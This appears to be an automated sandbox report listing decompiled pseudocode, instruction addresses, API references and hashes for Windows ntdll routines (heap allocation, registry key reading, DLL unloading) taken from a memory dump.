							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E6A9D1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E6A937D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E6A937D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E6A9D1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E6A96D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x6a93a229
0x6a93a231
0x6a93a23f
0x6a93a242
0x6a93a244
0x6a93a24c
0x6a93a255
0x6a93a25a
0x6a93a25f
0x6a981c76
0x6a981c78
0x6a981c7e
0x6a981c7f
0x6a981c81
0x6a981c82
0x6a981c84
0x6a981c89
0x6a981c8b
0x6a981c9e
0x6a981c9e
0x6a981cab
0x6a981cb2
0x00000000
0x6a981cb2
0x6a981c8d
0x6a981c92
0x00000000
0x00000000
0x6a981c94
0x6a981c98
0x00000000
0x00000000
0x00000000
0x6a981c98
0x6a93a265
0x6a93a265
0x6a93a266
0x6a93a26f
0x6a93a270
0x6a93a276
0x6a93a277
0x6a93a279
0x6a93a27e
0x6a93a282
0x6a981db5
0x6a981dbb
0x6a981dc1
0x6a981dc5
0x6a981de4
0x6a981de9
0x6a981dc7
0x6a981ddc
0x6a981de1
0x6a981def
0x6a981df3
0x6a981df7
0x6a981dfe
0x6a981e06
0x6a93a302
0x6a93a308
0x6a93a308
0x6a93a288
0x6a93a28d
0x6a93a294
0x6a981cc1
0x6a93a29a
0x6a93a29a
0x6a93a29a
0x6a93a29f
0x6a981ccb
0x6a981cd1
0x6a981cd8
0x6a981cea
0x6a981cea
0x6a981cd8
0x6a93a2a9
0x6a93a2af
0x6a93a2bc
0x6a981cfd
0x6a93a2c2
0x6a93a2c2
0x6a93a2c2
0x6a93a2c7
0x6a981d07
0x6a981d0d
0x6a981d14
0x6a981d1f
0x6a981d21
0x6a981d2c
0x6a981d2c
0x6a981d2c
0x6a981d47
0x6a981d47
0x6a981d14
0x6a93a2cd
0x6a93a2d2
0x6a93a2d9
0x6a981d5a
0x6a93a2df
0x6a93a2df
0x6a93a2df
0x6a93a2e4
0x6a981d69
0x6a981d6b
0x6a981d76
0x6a981d76
0x6a981d76
0x6a981d91
0x6a981d91
0x6a93a2ea
0x6a93a2f0
0x6a93a2f5
0x6a981da8
0x6a981dad
0x6a981dad
0x6a93a2fd
0x6a93a300
0x00000000

APIs

ZwAllocateVirtualMemory.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6A93A279

Part of subcall function 6A959660: LdrInitializeThunk.NTDLL(6A9A18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6A9F0810,0000001C,6A9A1616), ref: 6A95966A

RtlGetCurrentServiceSessionId.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6A93A288
RtlGetCurrentServiceSessionId.1105 ref: 6A93A2B5
RtlGetCurrentServiceSessionId.1105 ref: 6A93A2CD
ZwQueryVirtualMemory.1105(000000FF,?,00000003,00000014,00000014,00000000,?,?,?,-00000018,?,?,?,?,6A9D4C8F), ref: 6A981C84
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A981DDC
DbgPrint.1105(ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix),00000000,?,?,?), ref: 6A981DFE

Strings

ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6A981DF9
`, xrefs: 6A981C8D
HEAP: , xrefs: 6A981DE4
HEAP[%wZ]: , xrefs: 6A981DD7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$MemoryPrintVirtual$AllocateInitializeQueryThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 1108326835-2586055223
Opcode ID: 27ba69b839c6289e9a5296fb722f0c0fdaa96765d97293d08258da0ceec257a5
Instruction ID: 7aa43533555f8cd8f8968dde04a8de78374f8a06f6ecec12f061e58426d67467
Opcode Fuzzy Hash: 27ba69b839c6289e9a5296fb722f0c0fdaa96765d97293d08258da0ceec257a5
Instruction Fuzzy Hash: A3510472208680AFD711CB68C848F2777F8EF82754F364868F4718B292DF25D840C761

Uniqueness

Uniqueness Score: -1.00%

Function 6A916F60, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 235
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A916F60(WCHAR* _a4, WCHAR* _a8, void* _a12, signed int _a16, void* _a20, unsigned int _a24, int* _a28) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				char _v32;
				void* _v36;
				void* _v44;
				long _v48;
				char _v52;
				char _v56;
				char _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v80;
				signed int _t72;
				signed int _t81;
				WCHAR* _t88;
				int* _t96;
				void _t100;
				void _t106;
				void* _t107;
				int* _t108;
				long _t111;
				unsigned int _t113;
				unsigned int _t115;
				int _t117;
				void* _t118;
				intOrPtr* _t121;
				void* _t123;
				int _t126;
				void* _t127;
				void* _t128;
				void* _t131;
				signed int _t134;
				long _t136;
				void* _t137;
				signed int _t138;

				_t72 = _a16;
				_t111 = 0;
				_v44 = 0;
				_v52 = 0;
				_v48 = 0;
				_t131 = 0;
				if(_t72 != 0) {
					if(_t72 == 1) {
						goto L1;
					}
					_t81 = 0xc00000f1;
					L14:
					return _t81;
				}
				L1:
				_v28 = 0x18;
				_v20 = 0x6a8f16a8 + _t72 * 8;
				_push( &_v28);
				_push(0x20019);
				_v24 = _t111;
				_push( &_v52);
				_v16 = 0x40;
				_v12 = _t111;
				_v8 = _t111;
				_t134 = E6A959600();
				if(_t134 != 0xc0000034) {
					if(_t134 < 0) {
						L10:
						if(_v52 != 0) {
							_push(_v52);
							E6A9595D0();
						}
						if(_v48 != 0) {
							_push(_v48);
							E6A9595D0();
						}
						if(_t131 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t111, _t131);
						}
						_t81 = _t134;
						goto L14;
					}
					RtlInitUnicodeString( &_v36, _a4);
					_v32 = _v60;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v56);
					_v24 = 0x40;
					_v20 = _t111;
					_v16 = _t111;
					_t134 = E6A959600();
					if(_t134 == 0xc0000034) {
						goto L2;
					}
					L20:
					if(_t134 < 0) {
						goto L10;
					}
					_t88 = _a8;
					if(_t88 == 0) {
						_t88 = L"TargetPath";
					}
					RtlInitUnicodeString( &_v44, _t88);
					_t113 = _a24;
					_t136 = _t113 + 0x10;
					if(_t136 >= _t113) {
						_t131 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t136);
						if(_t131 != 0) {
							_push( &_v80);
							_push(_t136);
							_push(_t131);
							_push(2);
							_push( &_v60);
							_push(_v72);
							_t134 = E6A959650();
							if(_t134 < 0) {
								if(_t134 != 0x80000005) {
									goto L51;
								}
								L32:
								_t117 =  *(_t131 + 8);
								_t49 = _t131 + 0xc; // 0xc
								_t128 = _t49;
								_v80 = _t117;
								if(_t134 < 0) {
									L47:
									_t96 = _a28;
									if(_t96 != 0) {
										 *_t96 = _t117;
									}
									if(_t134 >= 0) {
										memcpy(_a20, _t128, _t117);
									}
									goto L51;
								}
								_t115 = _a24;
								if( *((intOrPtr*)(_t128 + (_t117 >> 1) * 2 - 2)) != 0) {
									_t117 = _t117 + 2;
									_v80 = _t117;
									if(_t115 < _t117) {
										_t134 = 0x80000005;
									} else {
										 *((short*)(_t128 + (_t117 >> 1) * 2 - 2)) = 0;
										_t117 = _v80;
									}
								}
								if(_t134 < 0 ||  *((intOrPtr*)(_t131 + 4)) != 2) {
									goto L47;
								} else {
									_t118 = _t128;
									_t61 = _t118 + 2; // 0xe
									_t137 = _t61;
									do {
										_t100 =  *_t118;
										_t118 = _t118 + 2;
									} while (_t100 != _v68);
									_t111 = 0;
									_t134 = E6A942440(0, _t128, _t118 - _t137 >> 1, _a20, _t115 >> 1,  &_v64);
									if(_t134 >= 0 || _t134 == 0xc0000023) {
										_t121 = _a28;
										if(_t121 != 0) {
											 *_t121 = _v64 + _v64;
										}
										if(_t134 == 0xc0000023) {
											_t134 = 0x80000005;
										}
									}
									goto L10;
								}
							}
							if( *((intOrPtr*)(_t131 + 4)) == 1 ||  *((intOrPtr*)(_t131 + 4)) == 2) {
								goto L32;
							} else {
								_t134 = 0xc0000024;
								goto L51;
							}
						}
						_t134 = 0xc0000017;
						goto L51;
					} else {
						_t134 = 0xc0000095;
						L51:
						_t111 = 0;
						goto L10;
					}
				}
				L2:
				_t127 = _a12;
				if(_t127 == 0) {
					goto L20;
				} else {
					_t123 = _t127;
					_t138 = _t123 + 2;
					goto L4;
					L4:
					_t106 =  *_t123;
					_t123 = _t123 + 2;
					if(_t106 != _t111) {
						goto L4;
					} else {
						_t107 = (_t123 - _t138 >> 1) + 1;
						_t126 = _t107 + _t107;
						_v64 = _t126;
						if(_t126 < _t107) {
							_t134 = 0xc0000095;
						} else {
							_t108 = _a28;
							asm("sbb esi, esi");
							_t134 = _t138 & 0x80000005;
							if(_t108 != 0) {
								 *_t108 = _t126;
							}
							if(_t126 <= _a24) {
								memcpy(_a20, _t127, _t126);
							}
						}
						goto L10;
					}
				}
			}

0x6a916f6b
0x6a916f6f
0x6a916f71
0x6a916f75
0x6a916f79
0x6a916f7f
0x6a916f83
0x6a9720d3
0x00000000
0x00000000
0x6a9720d9
0x6a917045
0x6a91704b
0x6a91704b
0x6a916f89
0x6a916f90
0x6a916f98
0x6a916fa0
0x6a916fa1
0x6a916faa
0x6a916fae
0x6a916faf
0x6a916fb7
0x6a916fbb
0x6a916fc4
0x6a916fcc
0x6a9720e5
0x6a917025
0x6a91702a
0x6a9722a1
0x6a9722a5
0x6a9722a5
0x6a917035
0x6a9722af
0x6a9722b3
0x6a9722b3
0x6a91703d
0x6a9722c8
0x6a9722c8
0x6a917043
0x00000000
0x6a917043
0x6a9720f3
0x6a9720fc
0x6a972104
0x6a97210c
0x6a97210d
0x6a972116
0x6a97211e
0x6a97211f
0x6a972127
0x6a97212b
0x6a972134
0x6a97213c
0x00000000
0x00000000
0x6a972142
0x6a972144
0x00000000
0x00000000
0x6a97214a
0x6a97214f
0x6a972151
0x6a972151
0x6a97215c
0x6a972161
0x6a972164
0x6a972169
0x6a972187
0x6a97218b
0x6a97219b
0x6a97219c
0x6a97219d
0x6a97219e
0x6a9721a4
0x6a9721a5
0x6a9721ae
0x6a9721b2
0x6a9721d0
0x00000000
0x00000000
0x6a9721d6
0x6a9721d6
0x6a9721d9
0x6a9721d9
0x6a9721dc
0x6a9721e2
0x6a972280
0x6a972280
0x6a972285
0x6a972287
0x6a972287
0x6a97228b
0x6a972292
0x6a972297
0x00000000
0x6a97228b
0x6a9721f3
0x6a9721f6
0x6a9721f8
0x6a9721fb
0x6a972201
0x6a972212
0x6a972203
0x6a972207
0x6a97220c
0x6a97220c
0x6a972201
0x6a972219
0x00000000
0x6a972221
0x6a972221
0x6a972223
0x6a972223
0x6a972226
0x6a972226
0x6a972229
0x6a97222c
0x6a972240
0x6a97224c
0x6a972255
0x6a97225f
0x6a972264
0x6a97226c
0x6a97226c
0x6a972270
0x6a972276
0x6a972276
0x6a972270
0x00000000
0x6a972255
0x6a972219
0x6a9721b8
0x00000000
0x6a9721c0
0x6a9721c0
0x00000000
0x6a9721c0
0x6a9721b8
0x6a97218d
0x00000000
0x6a97216b
0x6a97216b
0x6a97229a
0x6a97229a
0x00000000
0x6a97229a
0x6a972169
0x6a916fd2
0x6a916fd2
0x6a916fd7
0x00000000
0x6a916fdd
0x6a916fdd
0x6a916fdf
0x6a916fdf
0x6a916fe2
0x6a916fe2
0x6a916fe5
0x6a916feb
0x00000000
0x6a916fed
0x6a916ff1
0x6a916ff4
0x6a916ff7
0x6a916ffd
0x6a91704e
0x6a916fff
0x6a917002
0x6a917005
0x6a917007
0x6a91700f
0x6a917011
0x6a917011
0x6a917016
0x6a91701d
0x6a917022
0x6a917016
0x00000000
0x6a916ffd
0x6a916feb

APIs

ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6A916FBF

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

memcpy.1105(?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A91701D
RtlInitUnicodeString.1105(?,?,?,?,?,?,00020019,00000018), ref: 6A9720F3
ZwOpenKey.1105(?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A97212F
RtlInitUnicodeString.1105(?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A97215C
RtlAllocateHeap.1105(?,00000000,?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A972182
ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6A9722A5

Strings

@, xrefs: 6A97211F
TargetPath, xrefs: 6A972151, 6A972156

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode$AllocateCloseHeapInitializeThunkmemcpy
String ID: @$TargetPath
API String ID: 1135747570-4164548946
Opcode ID: 40c4adf956f0fb05c85ddff6fcd3eae2d422785a8d88859c3c5a077f73d29105
Instruction ID: fe1823d43ebf8fda1e74c27fec058a794e53f8fa55f10477261a8a0cffcb4a4d
Opcode Fuzzy Hash: 40c4adf956f0fb05c85ddff6fcd3eae2d422785a8d88859c3c5a077f73d29105
Instruction Fuzzy Hash: C381E17291831AAFD724CF28C884A5BB7B8FF84714F22456DE95597210EB31DC45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F51D, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
librarymemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6A91F51D(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				intOrPtr _t63;
				intOrPtr _t76;
				signed int _t77;
				signed int _t86;
				void* _t88;
				signed int _t89;
				void* _t90;
				intOrPtr* _t91;
				intOrPtr _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				signed int _t101;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t113;
				intOrPtr* _t115;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t120;

				_t106 = __edx;
				_t93 = __ecx;
				_t120 = (_t118 & 0xfffffff8) - 0x14;
				_v8 =  *0x6aa0d360 ^ _t120;
				_t115 = __ecx;
				_v24 =  *[fs:0x30];
				_t88 = 0;
				_v16 = __ecx;
				_push(_t108);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L3:
					 *(_t115 + 0x20) =  *(_t115 + 0x20) | 0xffffffff;
					E6A920225(_t88, _t93, _t108, _t115,  *(_t115 + 0x20));
					L4:
					if( *0x6aa08472 != _t88) {
						_t106 =  *0x7ffe0330;
						_t89 =  *0x6aa0b210; // 0x0
						_t94 = 0x20;
						_t93 = _t94 - (_t106 & 0x0000001f);
						asm("ror ebx, cl");
						_t88 = _t89 ^ _t106;
					}
					L6A92EEF0(0x6aa052d8);
					_t54 =  *_t115;
					while(1) {
						_v20 = _t54;
						if(_t54 == _t115) {
							break;
						}
						_t22 = _t54 - 0x54; // -84
						_t109 = _t22;
						__eflags =  *(_t109 + 0x34) & 0x00000008;
						if(( *(_t109 + 0x34) & 0x00000008) != 0) {
							_push(_t93);
							_t106 = 2;
							E6A928B80(_t109, _t106);
							__eflags = _t88;
							if(_t88 != 0) {
								 *0x6aa0b1e0(_t109);
								 *_t88();
							}
							_t93 = _t109;
							E6A928800(_t93, 1);
							_t63 = _v32;
							__eflags =  *(_t63 + 0x68) & 0x00000100;
							if(( *(_t63 + 0x68) & 0x00000100) != 0) {
								_t93 = _t109;
								E6A99EA20(_t93);
							}
						}
						__eflags =  *0x6aa05780 & 0x00000005;
						if(__eflags != 0) {
							_t46 = _t109 + 0x24; // -48
							E6A995510("minkernel\\ntdll\\ldrsnap.c", 0xc5e, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t46);
							_t120 = _t120 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t109 + 0x18)));
						E6A920100(_t88, _t93, _t109, _t115, __eflags);
						_t54 =  *_v28;
					}
					_t65 = E6A92EB70(_t93, 0x6aa052d8);
					while(1) {
						L8:
						_t95 =  *(_t115 + 0x18);
						if(_t95 == 0) {
							break;
						}
						_t110 =  *_t95;
						__eflags = _t110 - _t95;
						if(_t110 != _t95) {
							_t65 =  *_t110;
							 *_t95 =  *_t110;
						} else {
							_t34 = _t115 + 0x18;
							 *_t34 =  *(_t115 + 0x18) & 0x00000000;
							__eflags =  *_t34;
						}
						__eflags = _t110;
						if(_t110 == 0) {
							break;
						} else {
							E6A932280(_t65, 0x6aa084d8);
							_t92 =  *((intOrPtr*)(_t110 + 4));
							_t37 = _t110 + 8; // -76
							_t107 = _t37;
							_t101 =  *(_t92 + 0x1c);
							_t76 =  *_t101;
							_v28 = _t76;
							__eflags = _t76 - _t107;
							if(_t76 != _t107) {
								_t117 = _v24;
								do {
									_t77 =  *_t117;
									_t101 = _t117;
									_t117 = _t77;
									__eflags = _t77 - _t107;
								} while (_t77 != _t107);
								_t115 = _v16;
							}
							 *_t101 =  *_t107;
							__eflags =  *(_t92 + 0x1c) - _t107;
							if(__eflags == 0) {
								asm("sbb eax, eax");
								_t86 =  ~(_t101 - _t107) & _t101;
								__eflags = _t86;
								 *(_t92 + 0x1c) = _t86;
							}
							_t106 = 0;
							_push( &_v12);
							E6A92093F(_t92, _t92, 0, _t110, _t115, __eflags);
							E6A92FFB0(_t92, _t110, 0x6aa084d8);
							__eflags = _v20;
							if(_v20 != 0) {
								E6A91F51D(_t92, 0);
							}
							_t65 = RtlFreeHeap( *0x6aa07b98, 0, _t110);
							continue;
						}
					}
					_t111 =  *_t115;
					 *(_t115 + 0x20) = 0xfffffffe;
					if(_t111 == _t115) {
						L14:
						_pop(_t112);
						_pop(_t116);
						_pop(_t90);
						return E6A95B640(_t65, _t90, _v8 ^ _t120, _t106, _t112, _t116);
					} else {
						goto L10;
					}
					do {
						L10:
						_t91 =  *_t111;
						_t113 = _t111 + 0xffffffac;
						 *(_t113 + 0x34) =  *(_t113 + 0x34) | 0x00000002;
						E6A932280(_t65, 0x6aa084d8);
						E6A92008A(_t113, _t115);
						if(( *(_t113 + 0x34) & 0x00000080) != 0) {
							_t17 = _t113 + 0x74; // -140
							L6A91F900(0x6aa085fc, _t17);
							_t18 = _t113 + 0x68; // -152
							L6A91F900(0x6aa085f4, _t18);
							 *(_t113 + 0x20) =  *(_t113 + 0x20) & 0x00000000;
						}
						E6A92FFB0(_t91, _t113, 0x6aa084d8);
						if( *0x6aa07b94 != 0) {
							E6A950413(_t113);
						}
						_t65 = E6A92EC7F(_t113);
						_t111 = _t91;
					} while (_t91 != _t115);
					goto L14;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L4;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) != 9) {
					goto L8;
				}
				goto L3;
			}

0x6a91f51d
0x6a91f51d
0x6a91f525
0x6a91f52f
0x6a91f53b
0x6a91f53d
0x6a91f541
0x6a91f543
0x6a91f547
0x6a91f54c
0x6a91f55a
0x6a91f55a
0x6a91f55e
0x6a91f563
0x6a91f569
0x6a91f718
0x6a91f720
0x6a91f72b
0x6a91f72c
0x6a91f72e
0x6a91f730
0x6a91f730
0x6a91f574
0x6a91f579
0x6a91f57b
0x6a91f57b
0x6a91f581
0x00000000
0x00000000
0x6a91f61f
0x6a91f61f
0x6a91f622
0x6a91f626
0x6a91f628
0x6a91f62b
0x6a91f62e
0x6a91f633
0x6a91f635
0x6a91f73a
0x6a91f740
0x6a91f740
0x6a91f63d
0x6a91f63f
0x6a91f644
0x6a91f648
0x6a91f64f
0x6a975d11
0x6a975d13
0x6a975d13
0x6a91f64f
0x6a91f655
0x6a91f65c
0x6a975d1d
0x6a975d37
0x6a975d3c
0x6a975d3c
0x6a91f662
0x6a91f664
0x6a91f667
0x6a91f670
0x6a91f670
0x6a91f58c
0x6a91f591
0x6a91f591
0x6a91f591
0x6a91f596
0x00000000
0x00000000
0x6a91f677
0x6a91f679
0x6a91f67b
0x6a91f706
0x6a91f708
0x6a91f681
0x6a91f681
0x6a91f681
0x6a91f681
0x6a91f681
0x6a91f685
0x6a91f687
0x00000000
0x6a91f68d
0x6a91f692
0x6a91f697
0x6a91f69a
0x6a91f69a
0x6a91f69d
0x6a91f6a0
0x6a91f6a2
0x6a91f6a6
0x6a91f6a8
0x6a91f6f2
0x6a91f6f6
0x6a91f6f6
0x6a91f6f8
0x6a91f6fa
0x6a91f6fc
0x6a91f6fc
0x6a91f700
0x6a91f700
0x6a91f6ac
0x6a91f6ae
0x6a91f6b1
0x6a91f6b9
0x6a91f6bb
0x6a91f6bb
0x6a91f6bd
0x6a91f6bd
0x6a91f6c4
0x6a91f6c6
0x6a91f6c9
0x6a91f6d3
0x6a91f6d8
0x6a91f6dd
0x6a91f711
0x6a91f711
0x6a91f6e8
0x00000000
0x6a91f6e8
0x6a91f687
0x6a91f59c
0x6a91f59e
0x6a91f5a7
0x6a91f60d
0x6a91f611
0x6a91f612
0x6a91f613
0x6a91f61e
0x00000000
0x00000000
0x00000000
0x6a91f5a9
0x6a91f5a9
0x6a91f5a9
0x6a91f5ab
0x6a91f5b3
0x6a91f5b7
0x6a91f5be
0x6a91f5c7
0x6a91f5c9
0x6a91f5d2
0x6a91f5d7
0x6a91f5e0
0x6a91f5e5
0x6a91f5e5
0x6a91f5ee
0x6a91f5fa
0x6a975d46
0x6a975d46
0x6a91f602
0x6a91f607
0x6a91f609
0x00000000
0x6a91f5a9
0x6a91f552
0x00000000
0x00000000
0x6a91f558
0x00000000
0x00000000
0x00000000

APIs

RtlEnterCriticalSection.1105(6AA052D8), ref: 6A91F574
RtlLeaveCriticalSection.1105(6AA052D8,?,00000000,6AA052D8), ref: 6A91F58C
RtlAcquireSRWLockExclusive.1105 ref: 6A91F5B7
RtlRbRemoveNode.1105(6AA085FC,-0000008C), ref: 6A91F5D2
RtlRbRemoveNode.1105(6AA085F4,-00000098,6AA085FC,-0000008C), ref: 6A91F5E0
RtlReleaseSRWLockExclusive.1105(6AA084D8), ref: 6A91F5EE
LdrUnloadAlternateResourceModuleEx.1105(?,00000000,6AA052D8), ref: 6A91F667
RtlAcquireSRWLockExclusive.1105(6AA084D8,6AA052D8,?,00000000,6AA052D8), ref: 6A91F692
RtlReleaseSRWLockExclusive.1105(6AA084D8,?,6AA084D8,6AA052D8,?,00000000,6AA052D8), ref: 6A91F6D3
RtlFreeHeap.1105(00000000,-00000054,6AA084D8,?,6AA084D8,6AA052D8), ref: 6A91F6E8
RtlDebugPrintTimes.1105(-00000054,?,6AA052D8), ref: 6A91F73A

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 6A975D32
Unmapping DLL "%wZ", xrefs: 6A975D21
LdrpUnloadNode, xrefs: 6A975D28

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCriticalNodeReleaseRemoveSection$AlternateDebugEnterFreeHeapLeaveModulePrintResourceTimesUnload
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 2596885168-2283098728
Opcode ID: 6023ce6ec9705203aa1e1408e7739100d6d1612960af8f480911384fd5b5b1d3
Instruction ID: 7de62d08256b521eaef42a791792bc1456ea4843a24cc7772988dbbbc6d880e6
Opcode Fuzzy Hash: 6023ce6ec9705203aa1e1408e7739100d6d1612960af8f480911384fd5b5b1d3
Instruction Fuzzy Hash: CD51B27120870DAFDB14DE28C9C862A77A5BF9931CF314A2EE551872A6DF30EC458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9152A5, Relevance: 24.2, APIs: 16, Instructions: 161
nativememoryfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6A9152A5(char __ecx) {
				char _v20;
				void* _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v60;
				void* __ebx;
				void* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				void* _t102;
				void* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					L6A92EEF0(0x6aa079a0);
					_t104 =  *0x6aa08210;
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E6A92EB70(_t93, 0x6aa079a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E6A959890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									L6A92EEF0(0x6aa079a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E6A92EB70(0, 0x6aa079a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t93 = _t104 + 0xc;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E6A94F0BF(_t104 + 0xc,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									L6A92EEF0(0x6aa079a0);
									__eflags =  *0x6aa08210 - _t104;
									if( *0x6aa08210 == _t104) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x6aa08210 = _t102;
										 *_t95 =  *((intOrPtr*)(_t102 + 0xc));
										 *((intOrPtr*)(_t95 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
										 *((intOrPtr*)(_t95 + 8)) =  *((intOrPtr*)(_t102 + 4));
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E6A994888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E6A92EB70(_t95, 0x6aa079a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6A9595D0();
